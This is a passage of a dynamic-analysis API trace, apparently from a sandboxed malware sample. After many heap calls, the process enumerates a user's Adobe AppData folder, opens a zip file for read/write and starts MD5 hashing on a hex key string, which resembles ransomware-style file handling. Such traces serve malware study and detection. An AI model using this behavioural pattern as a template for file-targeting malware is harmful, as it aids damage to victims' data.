hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.351] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.352] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.353] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.353] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0127.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.355] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.356] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.356] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.356] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.356] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.356] PathFindFileNameW (pszPath="") returned="" [0127.356] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.358] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.358] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.358] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0127.358] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.358] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.358] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0127.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.359] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=42495) returned 1 [0127.359] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.360] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.360] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.362] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0127.363] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.363] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.363] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.363] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.363] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.363] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.363] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.364] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.364] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.364] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: 